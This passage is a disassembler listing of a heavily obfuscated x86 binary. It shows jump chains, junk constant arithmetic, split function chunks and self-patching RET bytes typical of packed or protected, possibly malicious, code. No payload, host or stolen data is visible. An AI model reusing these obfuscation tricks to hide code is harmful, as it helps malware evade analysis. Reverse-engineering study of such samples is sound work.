; FUNCTION CHUNK AT 0044E3F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FEF3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004502DD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00450776 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045252D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004559ED SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004563F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456960 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004569EE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00456E57 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00459200 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	ecx

loc_448158:				; CODE XREF: sub_444E1A:loc_4588E5j
		jmp	loc_43EE18
sub_448154	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_44815D:				; CODE XREF: sub_443F7F:loc_44C6CCj
		jz	loc_44B30E
		jmp	loc_446DDD
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_448168:				; CODE XREF: sub_44646F+Aj
		sub	eax, 76067E3Dh
		and	eax, 0DBB2DBC7h
		jns	loc_44EFF5

loc_44817A:				; CODE XREF: sub_43AEAA:loc_43EEA1j
					; dviuq5id:00451436j
		jmp	loc_439271
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
		sub	ebp, 0C4D3A927h
		jmp	loc_44EFEF

; =============== S U B	R O U T	I N E =======================================



sub_44818A	proc near		; CODE XREF: sub_45055F-15B7Ap
					; dviuq5id:0043F8AEj

; FUNCTION CHUNK AT 0043B0CE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043B85E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DB8D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004439C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004456DA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044ACA6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F863 SIZE 00000020 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 47C5657h
		push	eax
		call	sub_442437

loc_44819A:				; CODE XREF: sub_44460F+C15Cj
		jmp	loc_4456DA
sub_44818A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F99

loc_44819F:				; CODE XREF: sub_450F99-10105j
		jmp	loc_45A3CD
; END OF FUNCTION CHUNK	FOR sub_450F99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_4481A4:				; CODE XREF: sub_449222:loc_45482Ej
		pop	edi
		add	edi, 0BA9ECBFEh
		test	edi, 80h
		jmp	loc_448985
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------

locret_4481B6:				; CODE XREF: dviuq5id:00451E04j
		retn
; ---------------------------------------------------------------------------

loc_4481B7:				; CODE XREF: dviuq5id:loc_44ECF8j
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_43A409
		jmp	loc_458597
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_4481CC:				; CODE XREF: sub_446B53-1D07j
		call	sub_442E62

loc_4481D1:				; CODE XREF: sub_44B2EA:loc_43C661j
					; dviuq5id:loc_43CBCAj	...
		jmp	sub_43AB42
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------

loc_4481D6:				; CODE XREF: dviuq5id:0044DC31j
		jmp	loc_43FA19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455658

loc_4481DB:				; CODE XREF: sub_455658-13265j
		jmp	loc_43C4CE
; END OF FUNCTION CHUNK	FOR sub_455658
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_4481E0:				; CODE XREF: sub_43FDFB+D37Dj
		mov	[ebp+0], ecx

loc_4481E3:				; CODE XREF: sub_43FDFB:loc_449D3Aj
		mov	eax, 62h
		call	sub_43CCD1
		push	offset loc_45207F
		jmp	nullsub_416
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_43A449
; ---------------------------------------------------------------------------

loc_4481FD:				; DATA XREF: dviuq5id:0044B40Do
		jo	loc_457B11
		mov	eax, [esp]
		push	edx
		push	ecx
		jmp	loc_4523DB
; ---------------------------------------------------------------------------

loc_44820D:				; CODE XREF: dviuq5id:00450A0Ej
		jz	loc_454AAD

; =============== S U B	R O U T	I N E =======================================



sub_448213	proc near		; CODE XREF: sub_450045+6p

; FUNCTION CHUNK AT 00440D75 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044934A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045351B SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edx
		push	35A5020Ch
		pop	edx
		sub	edx, 44A6041Dh
		add	edx, 0F463734h
		jmp	loc_44934A
sub_448213	endp

; ---------------------------------------------------------------------------

loc_44822F:				; CODE XREF: dviuq5id:00447DBAj
		push	0F80E3F3Dh
		pop	ebx
		and	ebx, 0E5CD0577h
		sub	ebx, 4751B1CEh
		jmp	loc_44793D
; ---------------------------------------------------------------------------

loc_448246:				; CODE XREF: dviuq5id:00453CF9j
		mov	ax, [eax]
		and	ax, 38FFh
		cmp	ax, 20FFh
		call	sub_444906

loc_448256:				; CODE XREF: dviuq5id:004434B4j
		jmp	loc_44409A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_44825B:				; CODE XREF: sub_43E6A7+B073j
		jnz	loc_457DE4
		jmp	loc_453EDE
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------
		push	4284863Eh
		pop	eax
		xor	eax, 0F90965F3h
		sub	eax, 0AA5DB874h
		add	eax, 6C768167h
		call	sub_453642
		push	esi
		jmp	loc_43AAAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_448289:				; CODE XREF: sub_439013+19B22j
		sub	al, 99h
		call	sub_43AE92
; END OF FUNCTION CHUNK	FOR sub_439013
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_448290:				; CODE XREF: sub_43D181+F8FDj
		jmp	loc_446867
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D393

loc_448295:				; CODE XREF: sub_43D393+12BFj
		jmp	loc_4409D5
; END OF FUNCTION CHUNK	FOR sub_43D393
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_44829A:				; CODE XREF: sub_44BD0B:loc_44DCACj
		call	sub_45553D

loc_44829F:				; CODE XREF: sub_442BFE+13918j
		jmp	loc_4502A5
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_4482A4:				; CODE XREF: sub_451B18-12BA1j
		jmp	loc_44A77A
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ECF4

loc_4482A9:				; CODE XREF: sub_43ECF4+8j
		jmp	loc_444346
; END OF FUNCTION CHUNK	FOR sub_43ECF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B880

loc_4482AE:				; CODE XREF: sub_43B880+10j
		jz	loc_444228
		jmp	loc_43E511
; END OF FUNCTION CHUNK	FOR sub_43B880
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_4482B9:				; CODE XREF: sub_43A160+195CFj
		jnz	loc_4401E6

loc_4482BF:				; CODE XREF: dviuq5id:0043AB5Aj
		jmp	loc_4444AB
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492DC

loc_4482C4:				; CODE XREF: sub_4492DC+Dj
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_8
; END OF FUNCTION CHUNK	FOR sub_4492DC
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp]
		jmp	loc_446D31
; ---------------------------------------------------------------------------

loc_4482D7:				; DATA XREF: sub_443304+284Bo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_4482D9:				; CODE XREF: sub_44297E+A8B8j
		jmp	sub_43BE7C
; END OF FUNCTION CHUNK	FOR sub_44297E

; =============== S U B	R O U T	I N E =======================================



sub_4482DE	proc near		; CODE XREF: sub_443304+9p
					; sub_43DCB4+100D3p
		mov	dword ptr [eax], 0
		retn
sub_4482DE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5A8

loc_4482E5:				; CODE XREF: sub_44A5A8+11j
		jmp	loc_4527BF
; END OF FUNCTION CHUNK	FOR sub_44A5A8
; ---------------------------------------------------------------------------
		shl	ebp, 12h
		jmp	sub_441525
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_4482F2:				; CODE XREF: sub_44C592-F4BCj
		jge	loc_45A3F7
		ror	ebx, 7
		adc	edi, 0C50A7D8h
		jmp	loc_45A3ED
; END OF FUNCTION CHUNK	FOR sub_44C592
; ---------------------------------------------------------------------------
		add	ebp, 735DB243h

loc_44830C:				; CODE XREF: dviuq5id:loc_4469ADj
		sub	eax, ebp
		jmp	sub_451D31
; ---------------------------------------------------------------------------
		add	esi, 6377256Fh
		jmp	sub_45345A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C46D

loc_44831E:				; CODE XREF: sub_43C46D:loc_441E5Dj
		add	ebx, edx
		pop	edx
		mov	[ebx], eax
		xchg	edx, [esp+8+var_8]
		push	offset sub_44646F
		jmp	nullsub_400
; END OF FUNCTION CHUNK	FOR sub_43C46D
; ---------------------------------------------------------------------------
		shr	edi, 15h
		jmp	sub_444906
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_448338:				; CODE XREF: sub_443F7F+14B67j
		add	eax, 7EA47BACh
		push	eax

loc_44833F:				; CODE XREF: dviuq5id:0043B559j
		call	sub_441C54
		mov	ds:dword_44897C, eax
		cmp	ds:dword_44897C, 0
		jnz	loc_4559BF
		jmp	loc_456A60
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------

loc_44835B:				; CODE XREF: dviuq5id:00455586j
		add	eax, 0B440A29Eh
		call	sub_453642
		mov	ds:dword_41D1B8, eax
		lea	eax, nullsub_305
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_305
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45945A

loc_44837A:				; CODE XREF: sub_45945A+9j
		mov	eax, ebp
		xchg	eax, [esp+0]
		mov	ebp, eax
		pop	eax
		jmp	loc_45560E
; END OF FUNCTION CHUNK	FOR sub_45945A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_448387:				; CODE XREF: sub_448FC7:loc_4395A7j
		jz	loc_44CA8D
		jmp	loc_452551
; END OF FUNCTION CHUNK	FOR sub_448FC7

; =============== S U B	R O U T	I N E =======================================



sub_448392	proc near		; CODE XREF: dviuq5id:loc_44FD8Dj
					; DATA XREF: sub_453D79-3FF6o
		call	sub_43A101
		or	eax, eax
		jnz	loc_454D71
sub_448392	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_459385

loc_44839F:				; CODE XREF: sub_459385:loc_43CBE6j
		jmp	loc_43DC23
; END OF FUNCTION CHUNK	FOR sub_459385

; =============== S U B	R O U T	I N E =======================================



sub_4483A4	proc near		; CODE XREF: dviuq5id:0043B483j
					; sub_44EAC4+52F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B944 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043BB05 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043FCA8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00441207 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004432D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C205 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045491E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456EF6 SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	ecx, 0F0D6CB15h
		xchg	ecx, [esp-4+arg_0]
		push	esi
		pushf
		push	778D9C53h
		pop	esi
		jmp	loc_43FCA8
sub_4483A4	endp

; ---------------------------------------------------------------------------
		jbe	loc_43A432
		jmp	sub_44250B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_4483C9:				; CODE XREF: sub_45383B-5FE1j
		add	ebx, 3CA0CCEBh
		popf
		jmp	loc_43C757
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_4483D5:				; CODE XREF: sub_443862:loc_445133j
		add	eax, 2
		mov	eax, [eax]
		or	al, al
		jz	loc_44E34D
		jmp	loc_44BBAA
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------
		js	loc_440AFB
		mov	edx, ds:dword_44F9AC
		call	sub_43D56D
; START	OF FUNCTION CHUNK FOR sub_446B93

loc_4483F8:				; CODE XREF: sub_446B93+9738j
		jmp	loc_448131
; END OF FUNCTION CHUNK	FOR sub_446B93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453D79

loc_4483FD:				; CODE XREF: sub_453D79-3FF1j
		jmp	nullsub_460
; END OF FUNCTION CHUNK	FOR sub_453D79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4597EF

loc_448402:				; CODE XREF: dviuq5id:loc_442024j
					; sub_4597EF-926Dj
		jno	loc_44F741

loc_448408:				; CODE XREF: sub_4597EF:loc_45A0D7j
		push	41487DEBh
		xchg	esi, [esp+0]
		mov	eax, esi

loc_448412:				; CODE XREF: dviuq5id:0043B2C8j
		jmp	loc_45192A
; END OF FUNCTION CHUNK	FOR sub_4597EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_448417:				; CODE XREF: sub_449B5B+12AFj
		xor	ebx, 0B5C0A74Ch
		xchg	edx, [esi]
		jmp	loc_443423
; END OF FUNCTION CHUNK	FOR sub_449B5B

; =============== S U B	R O U T	I N E =======================================



sub_448424	proc near		; DATA XREF: sub_4454D9-6788o

; FUNCTION CHUNK AT 0043AC46 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BAFA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F1E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442130 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00443B1A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00443CA6 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 004451A3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044967D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449BBE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B961 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044D0D1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044DCC3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004523F4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00452691 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452918 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453591 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00454034 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004551F8 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00458DAC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004592F9 SIZE 00000017 BYTES

		pop	esi
		cmp	dword ptr [ebp-4], 0
		jz	loc_43919C
		jmp	loc_44967D
sub_448424	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_448434:				; CODE XREF: dviuq5id:00455032j
		lea	eax, sub_43FBEA
		mov	byte ptr [eax],	0C3h
		jmp	sub_43FBEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBEA

loc_448442:				; CODE XREF: sub_43FBEAj
		pop	edx
		mov	eax, [esp+8+var_8]
		jmp	loc_454F66
; END OF FUNCTION CHUNK	FOR sub_43FBEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_44844B:				; CODE XREF: sub_44E1C0:loc_45A5A8j
		jnz	loc_441410
		jmp	loc_454C00
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453D79

loc_448456:				; CODE XREF: sub_453D79-E3A7j
		test	eax, 75DC1971h
		jmp	loc_452AE6
; END OF FUNCTION CHUNK	FOR sub_453D79
; ---------------------------------------------------------------------------

loc_448461:				; CODE XREF: dviuq5id:loc_43CC19j
		jz	loc_451870
		jmp	loc_455E03

; =============== S U B	R O U T	I N E =======================================



sub_44846C	proc near		; CODE XREF: dviuq5id:0044CEFAj
					; sub_443AC1:loc_44E728p

; FUNCTION CHUNK AT 0043A025 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043BDFE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043D0CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F7B8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044165C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441A4A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441DBD SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00446344 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00446B1B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00448A22 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448E98 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044A184 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044BF8D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CC7F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D052 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044DD23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004506F7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00451067 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00454945 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456EDA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045932F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00459411 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0045A43F SIZE 00000022 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jnb	loc_459411
		ror	eax, 8
		push	ebp
		mov	ebp, esi

loc_44847C:				; CODE XREF: dviuq5id:loc_453D73j
		xchg	ebp, [esp+0]
		push	453482CAh
		jmp	loc_44A184
sub_44846C	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B0A

loc_44848A:				; CODE XREF: sub_455B0A+3j
		jmp	nullsub_514
; END OF FUNCTION CHUNK	FOR sub_455B0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A58C

loc_44848F:				; CODE XREF: sub_44A58C+5j
		jmp	nullsub_65
; END OF FUNCTION CHUNK	FOR sub_44A58C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_448494:				; CODE XREF: sub_43FDFB:loc_441293j
		xor	eax, 21791698h
		ror	eax, 16h
		add	eax, 0C2490D53h
		call	sub_4461D0

loc_4484A8:				; CODE XREF: dviuq5id:00445B08j
		jmp	loc_44D549
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
		jg	loc_43A09B
		jmp	sub_44B9DA
; ---------------------------------------------------------------------------

loc_4484B8:				; CODE XREF: dviuq5id:0043A63Dj
		rol	ebp, 19h
		jmp	loc_439747
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_4484C0:				; CODE XREF: sub_44E1C0:loc_450916j
		cmp	al, 0A4h
		jz	loc_446739
		jmp	loc_43A110
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_4484CD:				; CODE XREF: sub_44B2EA:loc_44A9DCj
		pop	esi

loc_4484CE:				; CODE XREF: dviuq5id:loc_45207Fj
		xchg	esi, [esp+0]
		mov	ebp, esi
		pop	esi
		jmp	loc_44A2BD
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445817

loc_4484D9:				; CODE XREF: sub_445817+Dj
		mov	eax, [ebp-24h]
		mov	dx, [eax+2]
		push	0A4F78BBEh
		pop	eax
		add	eax, 0EAA08BAh
		xor	eax, 6EEF4F6Eh
		or	eax, 7B7239A7h
		add	eax, 0E3FDDC26h
		jmp	loc_44ED56
; END OF FUNCTION CHUNK	FOR sub_445817
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_448503:				; CODE XREF: sub_43938B:loc_44F741j
		add	eax, 4A9EE1F9h
		js	loc_4504D6
		sub	eax, ecx
		shr	edi, 1Fh
		xchg	ecx, [esi]
		jmp	loc_4504D4
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455682

loc_44851B:				; CODE XREF: sub_455682:loc_43B5C0j
					; sub_455682+1204j
		push	offset loc_43E671
		jmp	loc_4591D1
; END OF FUNCTION CHUNK	FOR sub_455682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458330

loc_448525:				; CODE XREF: sub_458330-1CCCj
		add	ecx, 0FEC9DFDh
		sub	ecx, 0D926130Fh
		rol	ecx, 18h
		add	ecx, 0C9357337h
		add	ecx, ebp
		add	ecx, 94F0586Ah
		jmp	loc_43C005
; END OF FUNCTION CHUNK	FOR sub_458330
; ---------------------------------------------------------------------------
		jns	loc_4494AE
		jmp	loc_455DC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_448552:				; CODE XREF: sub_447C0B:loc_451369j
		cmp	ecx, 6F8C26Eh
		jmp	loc_4490E0
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------
		ror	ebp, 14h
		jnz	loc_442F53
		jmp	sub_44B85C
; ---------------------------------------------------------------------------

loc_44856B:				; DATA XREF: sub_44FFA5+2E7Bo
		xchg	esi, [esp]
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44856E:				; CODE XREF: sub_439013+27DCj
		jmp	sub_43D7C1
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C32

loc_448573:				; CODE XREF: sub_447C32+10j
		or	eax, 0E5B63CCFh
		cmp	eax, 9314318Dh
		jmp	loc_43906F
; END OF FUNCTION CHUNK	FOR sub_447C32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6B8

loc_448584:				; CODE XREF: sub_43A6B8:loc_454E28j
					; sub_43A6B8+1A77Bj
		xor	ecx, 4BA058A7h
		rol	ecx, 18h
		add	ecx, 0C95895AAh
		xchg	ecx, [esp+4+var_4]
		jmp	loc_44A559
; END OF FUNCTION CHUNK	FOR sub_43A6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441788

loc_44859B:				; CODE XREF: sub_441788+5j
		push	0F738853Ch
		pop	ecx
		xor	ecx, 6CD89FFBh
		sub	ecx, 0EAB8ECEAh
		add	ecx, 11AA2D5Ah
		rol	ecx, 13h
		add	ecx, 268778CEh
		xchg	ecx, [esp+0]
		jmp	sub_45A04B
; END OF FUNCTION CHUNK	FOR sub_441788
; ---------------------------------------------------------------------------
		jnb	loc_43B91B
		xor	edx, 0F42DC0CAh
		jmp	sub_4446E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_4485D5:				; CODE XREF: sub_44646F+C5C4j
		jz	loc_44D7DC
		jmp	loc_4547AB
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
		mov	[ecx], ebp
		add	ebx, 0D62375C6h
		jmp	sub_444A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_4485ED:				; CODE XREF: sub_447A8A+69ECj
		shl	ebp, 1Dh
		jmp	loc_452031
; END OF FUNCTION CHUNK	FOR sub_447A8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4485F5:				; CODE XREF: sub_43FA59:loc_449836j
		jz	loc_4577C3
		jmp	loc_43FE60
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_448600:				; CODE XREF: dviuq5id:0045276Dj
		mov	eax, [esp]

loc_448603:				; CODE XREF: dviuq5id:00459F3Cj
		push	edx
		push	edx
		push	4EED3092h
		pop	edx
		jmp	loc_4553C4
; ---------------------------------------------------------------------------

loc_448610:				; CODE XREF: dviuq5id:loc_44D7F5j
		sub	eax, 0F296DA9Ah
		add	eax, 460D2D99h
		xor	eax, 0DD9A6758h
		call	sub_453642
		mov	ds:off_41D10C, eax
		lea	eax, loc_44A9E1
		mov	byte ptr [eax],	0C3h
		jmp	loc_441EB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_44863B:				; CODE XREF: sub_441DDA+38CEj
		jz	loc_43BCE3
		jmp	loc_439645
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_448646:				; CODE XREF: sub_440C61:loc_439C78j
		call	sub_447ADF
; END OF FUNCTION CHUNK	FOR sub_440C61

; =============== S U B	R O U T	I N E =======================================



sub_44864B	proc near		; CODE XREF: dviuq5id:0043E15Dj
					; sub_445A59:loc_457821p

; FUNCTION CHUNK AT 0043AAFA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043CC54 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444927 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00447961 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044D67C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044FAE0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452CDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454644 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457C83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458563 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		sub	al, 99h
		push	8090EEBh
		xchg	ebp, [esp+0]
		mov	edx, ebp
		jmp	loc_447961
sub_44864B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449423

loc_448660:				; CODE XREF: sub_449423+4j
		call	sub_43FDFB
; END OF FUNCTION CHUNK	FOR sub_449423

; =============== S U B	R O U T	I N E =======================================



sub_448665	proc near		; CODE XREF: dviuq5id:0044900Bj
					; dviuq5id:0044FC00p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 8B07E663h
		xchg	eax, [esp-4+arg_0]
		jmp	loc_43E2FE
sub_448665	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF31

loc_448677:				; CODE XREF: sub_43CF31:loc_4563FBj
		push	eax
		push	ebx
		push	offset loc_43D5E9
		jmp	loc_447C62
; END OF FUNCTION CHUNK	FOR sub_43CF31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_448683:				; CODE XREF: sub_43FA59:loc_4550EDj
		popf
		xchg	ecx, [ebx]
		jmp	loc_45128F
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440828

loc_44868B:				; CODE XREF: sub_440828:loc_44E99Bj
		push	edx
		call	sub_453ECC
		push	0B9016BB9h
		pop	eax
		xor	eax, 0A68D0293h
		or	eax, 878577E4h
		jmp	loc_445568
; END OF FUNCTION CHUNK	FOR sub_440828
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_4486A8:				; CODE XREF: sub_443862+C982j
		sbb	esi, 24A8E0C2h
		popf

loc_4486AF:				; CODE XREF: sub_443862:loc_4501D2j
		or	ebx, ds:4000F8h
		js	loc_447BBC
		sbb	edx, ebp
		cdq
		jmp	loc_43DF1A
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_4486C3:				; CODE XREF: sub_448FC7:loc_440BCDj
		jnz	loc_449648
		jmp	loc_45130B
